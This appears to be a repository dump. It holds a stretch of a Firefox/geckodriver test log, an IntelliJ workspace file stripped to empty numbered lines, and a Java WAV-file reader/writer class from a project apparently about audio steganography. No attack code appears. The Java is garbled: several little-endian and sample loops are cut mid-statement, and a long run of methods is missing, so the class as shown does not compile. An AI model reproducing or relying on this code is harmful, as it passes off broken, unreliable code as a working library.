60 | (firefox:2271): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
61 | 1494369355670 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
62 |
63 | (firefox:2271): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
64 | 1494369355794 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
65 | 1494369360262 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
66 | 1494369366496 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
67 | 1494369372711 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
68 | 1494369381057 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
69 | 1494369387333 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
70 | 1494369394633 geckodriver INFO Listening on 127.0.0.1:55171
71 | 1494369395636 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.XemCTcHnNi2u
72 | 1494369395641 geckodriver::marionette INFO Starting browser /usr/bin/firefox
73 | 1494369395647 geckodriver::marionette INFO Connecting to Marionette on localhost:60221
74 |
75 | (firefox:2327): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
76 | 1494369400888 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
77 |
78 | (firefox:2327): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
79 | 1494369401110 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
80 | 1494369403798 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
81 |
82 | (firefox:2327): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0x92757880' of type 'MaiAtkType1'
83 |
84 | (firefox:2327): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0x9253aa90' of type 'MaiAtkType1'
85 | 1494369407663 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
86 | 1494369408801 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className:
87 |
88 | (firefox:2327): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0x9bdfd970' of type 'MaiAtkType1'
89 | 1494369415039 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
90 | 1494369459066 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
91 | 1494370072094 geckodriver INFO Listening on 127.0.0.1:57685
92 | 1494370073105 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.ez7Pm5WaqR1U
93 | 1494370073114 geckodriver::marionette INFO Starting browser /usr/bin/firefox
94 | 1494370073126 geckodriver::marionette INFO Connecting to Marionette on localhost:44855
95 |
96 | (firefox:2550): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
97 | 1494370078559 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
98 |
99 | (firefox:2550): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
100 | 1494370078741 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
101 |
102 | (firefox:2550): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
103 |
104 | (firefox:2550): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0xa17f89a0' of type 'MaiAtkType119'
105 | 1494370137773 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
106 | 1494370144375 geckodriver INFO Listening on 127.0.0.1:34298
107 | 1494370145373 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.SGSTb3wHeWZC
108 | 1494370145374 geckodriver::marionette INFO Starting browser /usr/bin/firefox
109 | 1494370145384 geckodriver::marionette INFO Connecting to Marionette on localhost:42334
110 |
111 | (firefox:2642): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
112 | 1494370149420 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
113 |
114 | (firefox:2642): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
115 | 1494370149651 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
116 |
117 | (firefox:2642): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
118 | 1494370208679 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
119 | 1494370294799 geckodriver INFO Listening on 127.0.0.1:48889
120 | 1494370295795 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.AQ4WQpTUyjaX
121 | 1494370295797 geckodriver::marionette INFO Starting browser /usr/bin/firefox
122 | 1494370295803 geckodriver::marionette INFO Connecting to Marionette on localhost:36297
123 |
124 | (firefox:2739): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
125 | 1494370300812 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
126 |
127 | (firefox:2739): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
128 | 1494370300994 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
129 |
130 | (firefox:2739): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
131 | 1494370360127 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
132 | 1494370576402 geckodriver INFO Listening on 127.0.0.1:47766
133 | 1494370577402 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.vt5N7Gq3ATGq
134 | 1494370577404 geckodriver::marionette INFO Starting browser /usr/bin/firefox
135 | 1494370577407 geckodriver::marionette INFO Connecting to Marionette on localhost:54721
136 |
137 | (firefox:2834): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
138 | 1494370581988 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
139 |
140 | (firefox:2834): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
141 | 1494370582329 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
142 |
143 | (firefox:2834): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
144 | 1494370634765 geckodriver INFO Listening on 127.0.0.1:45412
145 | 1494370635765 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.c2MKtAs5VOVe
146 | 1494370635766 geckodriver::marionette INFO Starting browser /usr/bin/firefox
147 | 1494370635769 geckodriver::marionette INFO Connecting to Marionette on localhost:59715
148 |
149 | (firefox:2936): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
150 | 1494370640437 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
151 |
152 | (firefox:2936): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
153 | 1494370640591 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
154 | 1494370641202 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
155 |
156 | (firefox:2936): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
157 | 1494370699228 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
158 | 1494370741170 geckodriver INFO Listening on 127.0.0.1:35591
159 | 1494370742172 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.W6PKvS7MDnPJ
160 | 1494370742173 geckodriver::marionette INFO Starting browser /usr/bin/firefox
161 | 1494370742175 geckodriver::marionette INFO Connecting to Marionette on localhost:57366
162 |
163 | (firefox:3052): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
164 | 1494370746551 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
165 |
166 | (firefox:3052): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
167 | 1494370746751 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
168 | 1494370805605 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
169 |
--------------------------------------------------------------------------------
/209-project/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 | bea
90 |
91 |
92 |
93 |
103 |
104 |
105 |
106 |
107 | true
108 | DEFINITION_ORDER
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 | project
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
279 |
280 |
281 |
282 |
283 |
284 |
285 |
286 |
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
297 |
298 |
299 |
300 |
301 |
302 |
303 |
304 |
305 |
306 |
307 |
308 |
309 |
310 |
311 |
312 |
313 |
314 |
315 |
316 |
317 |
318 |
319 |
320 | 1492554051086
321 |
322 |
323 | 1492554051086
324 |
325 |
326 |
327 |
328 |
329 |
330 |
331 |
332 |
333 |
334 |
335 |
336 |
337 |
338 |
339 |
340 |
341 |
342 |
343 |
344 |
345 |
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
362 |
363 |
364 |
365 |
366 |
367 |
368 |
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 |
378 |
379 |
380 |
381 |
382 |
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
392 |
393 |
394 |
395 |
396 |
397 |
398 |
399 |
400 |
401 |
402 |
403 |
404 |
405 |
406 |
407 |
408 |
409 |
410 |
411 |
412 |
413 |
414 |
415 |
416 |
417 |
418 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
427 |
428 |
429 |
430 |
431 |
432 |
433 |
434 |
435 |
436 |
437 |
438 |
439 |
440 |
441 |
442 |
443 |
444 |
445 |
446 |
--------------------------------------------------------------------------------
/AudioStegnoUsingLSB/WavFile.java:
--------------------------------------------------------------------------------
1 | package stegno;
2 | // A.Greensted
3 | // http://www.labbookpages.co.uk
4 |
5 | // File format is based on the information from
6 | // http://www.sonicspot.com/guide/wavefiles.html
7 | // http://www.blitter.com/~russtopia/MIDI/~jglatt/tech/wave.htm
8 |
9 | // Version 1.0
10 |
11 | import java.io.*;
12 |
13 | public class WavFile
14 | {
15 | private enum IOState {READING, WRITING, CLOSED};
16 | private final static int BUFFER_SIZE = 4096;
17 |
18 | private final static int FMT_CHUNK_ID = 0x20746D66;
19 | private final static int DATA_CHUNK_ID = 0x61746164;
20 | private final static int RIFF_CHUNK_ID = 0x46464952;
21 | private final static int RIFF_TYPE_ID = 0x45564157;
22 |
23 | private File file; // File that will be read from or written to
24 | private IOState ioState; // Specifies the IO State of the Wav File (used for snaity checking)
25 | private int bytesPerSample; // Number of bytes required to store a single sample
26 | private long numFrames; // Number of frames within the data section
27 | private FileOutputStream oStream; // Output stream used for writting data
28 | private FileInputStream iStream; // Input stream used for reading data
29 | private double floatScale; // Scaling factor used for int <-> float conversion
30 | private double floatOffset; // Offset factor used for int <-> float conversion
31 | private boolean wordAlignAdjust; // Specify if an extra byte at the end of the data chunk is required for word alignment
32 |
33 | // Wav Header
34 | private int numChannels; // 2 bytes unsigned, 0x0001 (1) to 0xFFFF (65,535)
35 | private long sampleRate; // 4 bytes unsigned, 0x00000001 (1) to 0xFFFFFFFF (4,294,967,295)
36 | // Although a java int is 4 bytes, it is signed, so need to use a long
37 | private int blockAlign; // 2 bytes unsigned, 0x0001 (1) to 0xFFFF (65,535)
38 | private int validBits; // 2 bytes unsigned, 0x0002 (2) to 0xFFFF (65,535)
39 |
40 | // Buffering
41 | private byte[] buffer; // Local buffer used for IO
42 | private int bufferPointer; // Points to the current position in local buffer
43 | private int bytesRead; // Bytes read after last read into local buffer
44 | private long frameCounter; // Current number of frames read or written
45 |
46 | // Cannot instantiate WavFile directly, must either use newWavFile() or openWavFile()
47 | private WavFile()
48 | {
49 | buffer = new byte[BUFFER_SIZE];
50 | }
51 |
52 | public int getNumChannels()
53 | {
54 | return numChannels;
55 | }
56 |
57 | public long getNumFrames()
58 | {
59 | return numFrames;
60 | }
61 |
62 | public long getFramesRemaining()
63 | {
64 | return numFrames - frameCounter;
65 | }
66 |
67 | public long getSampleRate()
68 | {
69 | return sampleRate;
70 | }
71 |
72 | public int getValidBits()
73 | {
74 | return validBits;
75 | }
76 |
77 | public static WavFile newWavFile(File file, int numChannels, long numFrames, int validBits, long sampleRate) throws IOException, WavFileException
78 | {
79 | // Instantiate new Wavfile and initialise
80 | WavFile wavFile = new WavFile();
81 | wavFile.file = file;
82 | wavFile.numChannels = numChannels;
83 | wavFile.numFrames = numFrames;
84 | wavFile.sampleRate = sampleRate;
85 | wavFile.bytesPerSample = (validBits + 7) / 8;
86 | wavFile.blockAlign = wavFile.bytesPerSample * numChannels;
87 | wavFile.validBits = validBits;
88 |
89 | // Sanity check arguments
90 | if (numChannels < 1 || numChannels > 65535) throw new WavFileException("Illegal number of channels, valid range 1 to 65536");
91 | if (numFrames < 0) throw new WavFileException("Number of frames must be positive");
92 | if (validBits < 2 || validBits > 65535) throw new WavFileException("Illegal number of valid bits, valid range 2 to 65536");
93 | if (sampleRate < 0) throw new WavFileException("Sample rate must be positive");
94 |
95 | // Create output stream for writing data
96 | wavFile.oStream = new FileOutputStream(file);
97 |
98 | // Calculate the chunk sizes
99 | long dataChunkSize = wavFile.blockAlign * numFrames;
100 | long mainChunkSize = 4 + // Riff Type
101 | 8 + // Format ID and size
102 | 16 + // Format data
103 | 8 + // Data ID and size
104 | dataChunkSize;
105 |
106 | // Chunks must be word aligned, so if odd number of audio data bytes
107 | // adjust the main chunk size
108 | if (dataChunkSize % 2 == 1) {
109 | mainChunkSize += 1;
110 | wavFile.wordAlignAdjust = true;
111 | }
112 | else {
113 | wavFile.wordAlignAdjust = false;
114 | }
115 |
116 | // Set the main chunk size
117 | putLE(RIFF_CHUNK_ID, wavFile.buffer, 0, 4);
118 | putLE(mainChunkSize, wavFile.buffer, 4, 4);
119 | putLE(RIFF_TYPE_ID, wavFile.buffer, 8, 4);
120 |
121 | // Write out the header
122 | wavFile.oStream.write(wavFile.buffer, 0, 12);
123 |
124 | // Put format data in buffer
125 | long averageBytesPerSecond = sampleRate * wavFile.blockAlign;
126 |
127 | putLE(FMT_CHUNK_ID, wavFile.buffer, 0, 4); // Chunk ID
128 | putLE(16, wavFile.buffer, 4, 4); // Chunk Data Size
129 | putLE(1, wavFile.buffer, 8, 2); // Compression Code (Uncompressed)
130 | putLE(numChannels, wavFile.buffer, 10, 2); // Number of channels
131 | putLE(sampleRate, wavFile.buffer, 12, 4); // Sample Rate
132 | putLE(averageBytesPerSecond, wavFile.buffer, 16, 4); // Average Bytes Per Second
133 | putLE(wavFile.blockAlign, wavFile.buffer, 20, 2); // Block Align
134 | putLE(validBits, wavFile.buffer, 22, 2); // Valid Bits
135 |
136 | // Write Format Chunk
137 | wavFile.oStream.write(wavFile.buffer, 0, 24);
138 |
139 | // Start Data Chunk
140 | putLE(DATA_CHUNK_ID, wavFile.buffer, 0, 4); // Chunk ID
141 | putLE(dataChunkSize, wavFile.buffer, 4, 4); // Chunk Data Size
142 |
143 | // Write Format Chunk
144 | wavFile.oStream.write(wavFile.buffer, 0, 8);
145 |
146 | // Calculate the scaling factor for converting to a normalised double
147 | if (wavFile.validBits > 8)
148 | {
149 | // If more than 8 validBits, data is signed
150 | // Conversion required multiplying by magnitude of max positive value
151 | wavFile.floatOffset = 0;
152 | wavFile.floatScale = Long.MAX_VALUE >> (64 - wavFile.validBits);
153 | }
154 | else
155 | {
156 | // Else if 8 or less validBits, data is unsigned
157 | // Conversion required dividing by max positive value
158 | wavFile.floatOffset = 1;
159 | wavFile.floatScale = 0.5 * ((1 << wavFile.validBits) - 1);
160 | }
161 |
162 | // Finally, set the IO State
163 | wavFile.bufferPointer = 0;
164 | wavFile.bytesRead = 0;
165 | wavFile.frameCounter = 0;
166 | wavFile.ioState = IOState.WRITING;
167 |
168 | return wavFile;
169 | }
170 |
171 | public static WavFile openWavFile(File file) throws IOException, WavFileException
172 | {
173 | // Instantiate new Wavfile and store the file reference
174 | WavFile wavFile = new WavFile();
175 | wavFile.file = file;
176 |
177 | // Create a new file input stream for reading file data
178 | wavFile.iStream = new FileInputStream(file);
179 |
180 | // Read the first 12 bytes of the file
181 | int bytesRead = wavFile.iStream.read(wavFile.buffer, 0, 12);
182 | if (bytesRead != 12) throw new WavFileException("Not enough wav file bytes for header");
183 |
184 | // Extract parts from the header
185 | long riffChunkID = getLE(wavFile.buffer, 0, 4);
186 | long chunkSize = getLE(wavFile.buffer, 4, 4);
187 | long riffTypeID = getLE(wavFile.buffer, 8, 4);
188 |
189 | // Check the header bytes contains the correct signature
190 | if (riffChunkID != RIFF_CHUNK_ID) throw new WavFileException("Invalid Wav Header data, incorrect riff chunk ID");
191 | if (riffTypeID != RIFF_TYPE_ID) throw new WavFileException("Invalid Wav Header data, incorrect riff type ID");
192 |
193 | // Check that the file size matches the number of bytes listed in header
194 | if (file.length() != chunkSize+8) {
195 | throw new WavFileException("Header chunk size (" + chunkSize + ") does not match file size (" + file.length() + ")");
196 | }
197 |
198 | boolean foundFormat = false;
199 | boolean foundData = false;
200 |
201 | // Search for the Format and Data Chunks
202 | while (true)
203 | {
204 | // Read the first 8 bytes of the chunk (ID and chunk size)
205 | bytesRead = wavFile.iStream.read(wavFile.buffer, 0, 8);
206 | if (bytesRead == -1) throw new WavFileException("Reached end of file without finding format chunk");
207 | if (bytesRead != 8) throw new WavFileException("Could not read chunk header");
208 |
209 | // Extract the chunk ID and Size
210 | long chunkID = getLE(wavFile.buffer, 0, 4);
211 | chunkSize = getLE(wavFile.buffer, 4, 4);
212 |
213 | // Word align the chunk size
214 | // chunkSize specifies the number of bytes holding data. However,
215 | // the data should be word aligned (2 bytes) so we need to calculate
216 | // the actual number of bytes in the chunk
217 | long numChunkBytes = (chunkSize%2 == 1) ? chunkSize+1 : chunkSize;
218 |
219 | if (chunkID == FMT_CHUNK_ID)
220 | {
221 | // Flag that the format chunk has been found
222 | foundFormat = true;
223 |
224 | // Read in the header info
225 | bytesRead = wavFile.iStream.read(wavFile.buffer, 0, 16);
226 |
227 | // Check this is uncompressed data
228 | int compressionCode = (int) getLE(wavFile.buffer, 0, 2);
229 | if (compressionCode != 1) throw new WavFileException("Compression Code " + compressionCode + " not supported");
230 |
231 | // Extract the format information
232 | wavFile.numChannels = (int) getLE(wavFile.buffer, 2, 2);
233 | wavFile.sampleRate = getLE(wavFile.buffer, 4, 4);
234 | wavFile.blockAlign = (int) getLE(wavFile.buffer, 12, 2);
235 | wavFile.validBits = (int) getLE(wavFile.buffer, 14, 2);
236 |
237 | if (wavFile.numChannels == 0) throw new WavFileException("Number of channels specified in header is equal to zero");
238 | if (wavFile.blockAlign == 0) throw new WavFileException("Block Align specified in header is equal to zero");
239 | if (wavFile.validBits < 2) throw new WavFileException("Valid Bits specified in header is less than 2");
240 | if (wavFile.validBits > 64) throw new WavFileException("Valid Bits specified in header is greater than 64, this is greater than a long can hold");
241 |
242 | // Calculate the number of bytes required to hold 1 sample
243 | wavFile.bytesPerSample = (wavFile.validBits + 7) / 8;
244 | if (wavFile.bytesPerSample * wavFile.numChannels != wavFile.blockAlign)
245 | throw new WavFileException("Block Align does not agree with bytes required for validBits and number of channels");
246 |
247 | // Account for number of format bytes and then skip over
248 | // any extra format bytes
249 | numChunkBytes -= 16;
250 | if (numChunkBytes > 0) wavFile.iStream.skip(numChunkBytes);
251 | }
252 | else if (chunkID == DATA_CHUNK_ID)
253 | {
254 | // Check if we've found the format chunk,
255 | // If not, throw an exception as we need the format information
256 | // before we can read the data chunk
257 | if (foundFormat == false) throw new WavFileException("Data chunk found before Format chunk");
258 |
259 | // Check that the chunkSize (wav data length) is a multiple of the
260 | // block align (bytes per frame)
261 | if (chunkSize % wavFile.blockAlign != 0) throw new WavFileException("Data Chunk size is not multiple of Block Align");
262 |
263 | // Calculate the number of frames
264 | wavFile.numFrames = chunkSize / wavFile.blockAlign;
265 |
266 | // Flag that we've found the wave data chunk
267 | foundData = true;
268 |
269 | break;
270 | }
271 | else
272 | {
273 | // If an unknown chunk ID is found, just skip over the chunk data
274 | wavFile.iStream.skip(numChunkBytes);
275 | }
276 | }
277 |
278 | // Throw an exception if no data chunk has been found
279 | if (foundData == false) throw new WavFileException("Did not find a data chunk");
280 |
281 | // Calculate the scaling factor for converting to a normalised double
282 | if (wavFile.validBits > 8)
283 | {
284 | // If more than 8 validBits, data is signed
285 | // Conversion required dividing by magnitude of max negative value
286 | wavFile.floatOffset = 0;
287 | wavFile.floatScale = 1 << (wavFile.validBits - 1);
288 | }
289 | else
290 | {
291 | // Else if 8 or less validBits, data is unsigned
292 | // Conversion required dividing by max positive value
293 | wavFile.floatOffset = -1;
294 | wavFile.floatScale = 0.5 * ((1 << wavFile.validBits) - 1);
295 | }
296 |
297 | wavFile.bufferPointer = 0;
298 | wavFile.bytesRead = 0;
299 | wavFile.frameCounter = 0;
300 | wavFile.ioState = IOState.READING;
301 |
302 | return wavFile;
303 | }
304 |
305 | // Get and Put little endian data from local buffer
306 | // ------------------------------------------------
307 | private static long getLE(byte[] buffer, int pos, int numBytes)
308 | {
309 | numBytes --;
310 | pos += numBytes;
311 |
312 | long val = buffer[pos] & 0xFF;
313 | for (int b=0 ; b>= 8;
324 | pos ++;
325 | }
326 | }
327 |
328 | // Sample Writing and Reading
329 | // --------------------------
330 | private void writeSample(long val) throws IOException
331 | {
332 | for (int b=0 ; b>= 8;
342 | bufferPointer ++;
343 | }
344 | }
345 |
346 | private long readSample() throws IOException, WavFileException
347 | {
348 | long val = 0;
349 |
350 | for (int b=0 ; b 0) oStream.write(buffer, 0, bufferPointer);
672 |
673 | // If an extra byte is required for word alignment, add it to the end
674 | if (wordAlignAdjust) oStream.write(0);
675 |
676 | // Close the stream and set to null
677 | oStream.close();
678 | oStream = null;
679 | }
680 |
681 | // Flag that the stream is closed
682 | ioState = IOState.CLOSED;
683 | }
684 |
685 | public void display()
686 | {
687 | display(System.out);
688 | }
689 |
690 | public void display(PrintStream out)
691 | {
692 | out.printf("File: %s\n", file);
693 | out.printf("Channels: %d, Frames: %d\n", numChannels, numFrames);
694 | out.printf("IO State: %s\n", ioState);
695 | out.printf("Sample Rate: %d, Block Align: %d\n", sampleRate, blockAlign);
696 | out.printf("Valid Bits: %d, Bytes per sample: %d\n", validBits, bytesPerSample);
697 | }
698 |
699 | public static void main(String[] args)
700 | {
701 | if (args.length < 1)
702 | {
703 | System.err.println("Must supply filename");
704 | System.exit(1);
705 | }
706 |
707 | try
708 | {
709 | for (String filename : args)
710 | {
711 | WavFile readWavFile = openWavFile(new File(filename));
712 | readWavFile.display();
713 |
714 | long numFrames = readWavFile.getNumFrames();
715 | int numChannels = readWavFile.getNumChannels();
716 | int validBits = readWavFile.getValidBits();
717 | long sampleRate = readWavFile.getSampleRate();
718 |
719 | WavFile writeWavFile = newWavFile(new File("out.wav"), numChannels, numFrames, validBits, sampleRate);
720 |
721 | final int BUF_SIZE = 5001;
722 |
723 | // int[] buffer = new int[BUF_SIZE * numChannels];
724 | // long[] buffer = new long[BUF_SIZE * numChannels];
725 | double[] buffer = new double[BUF_SIZE * numChannels];
726 |
727 | int framesRead = 0;
728 | int framesWritten = 0;
729 |
730 | do
731 | {
732 | framesRead = readWavFile.readFrames(buffer, BUF_SIZE);
733 | framesWritten = writeWavFile.writeFrames(buffer, BUF_SIZE);
734 | System.out.printf("%d %d\n", framesRead, framesWritten);
735 | }
736 | while (framesRead != 0);
737 |
738 | readWavFile.close();
739 | writeWavFile.close();
740 | }
741 |
742 | WavFile writeWavFile = newWavFile(new File("out2.wav"), 1, 10, 23, 44100);
743 | double[] buffer = new double[10];
744 | writeWavFile.writeFrames(buffer, 10);
745 | writeWavFile.close();
746 | }
747 | catch (Exception e)
748 | {
749 | System.err.println(e);
750 | e.printStackTrace();
751 | }
752 | }
753 | }
754 |
--------------------------------------------------------------------------------